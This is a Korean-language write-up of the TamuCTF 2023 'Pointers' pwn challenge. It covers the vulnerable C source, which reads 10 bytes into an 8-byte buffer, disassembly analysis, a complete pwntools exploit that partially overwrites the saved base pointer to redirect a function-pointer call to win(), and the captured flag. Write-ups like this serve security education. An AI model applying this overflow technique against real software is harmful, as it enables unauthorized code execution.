Tamu CTF 2023 - Pointers (pwn, 2bytes overflow)

I’ve been messing with pointers lately which never goes wrong, right?
Author: anomie

  • [90 solves / 421 points]

Analysis

바이너리와 소스코드를 제공해준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <unistd.h>

void upkeep() {
// Not related to the challenge, just some stuff so the remote works correctly
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
char* argv[] = {"/bin/cat", "flag.txt", NULL};
execve(argv[0], argv, NULL);
}

void lose() {
char* argv[] = {"/bin/echo", "loser", NULL};
execve(argv[0], argv, NULL);
}

void vuln() {
char buf[010];
printf("Interaction pls: ");
read(0, buf, 10);
}

int main() {
upkeep();
void* func_ptrs[] = {lose, win};
printf("All my functions are being stored at %p\n", func_ptrs);

vuln();

void (*poggers)() = func_ptrs[0];
poggers();
}

vuln 함수를 IDA로 살펴보면 아래와 같다.

1
2
3
4
5
6
7
ssize_t vuln()
{
char buf[8]; // [rsp+8h] [rbp-8h] BYREF

printf("Interaction pls: ");
return read(0, buf, 0xAuLL);
}

2byte overflow가 발생한다. 후에 void (*poggers)() = func_ptrs[0]; 을 통해 lose 함수가 호출된다. 이 대신 vuln 함수의 overflow를 통해 win 함수가 호출되는 것이 목표이다.

Solve

처음에 출력해주는 함수 포인터 주소를 0x7ffebafcc630라고 하자. 이는 lose 함수 주소가 저장되어있고 +8한 0x7ffebafcc638에는 win 함수 주소가 저장되어있다.

1
2
3
4
5
→ 0x5589074ca2c4 <main+74>        mov    rax, QWORD PTR [rbp-0x20]
0x5589074ca2c8 <main+78> mov QWORD PTR [rbp-0x8], rax
0x5589074ca2cc <main+82> mov rdx, QWORD PTR [rbp-0x8]
0x5589074ca2d0 <main+86> mov eax, 0x0
0x5589074ca2d5 <main+91> call rdx

rbp-0x20 주소에 저장된 값을 rax에 넣는다. 이 값이 전달되어 rdx에 들어가고 결국 call rdx를 실행한다. 결국 rbp에는 0x7ffebafcc638 + 0x20 값이 들어가야 한다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = remote("tamuctf.com", 443, ssl=True, sni="pointers")
# p = process('./pointers')

p.recvuntil('at ')
func_ptrs = p.recvline()[:-1]
print(func_ptrs)

win = func_ptrs[-4:]
print(win)
win = int(win, 16) + 8 + 0x20
print(hex(win))

# real_win = int(func_ptrs, 16) + 8

payload = b'A' * 8
payload += p16(win)
print(payload)

p.send(payload)

p.interactive()

Flag

1
gigem{small_overflows_are_still_effective}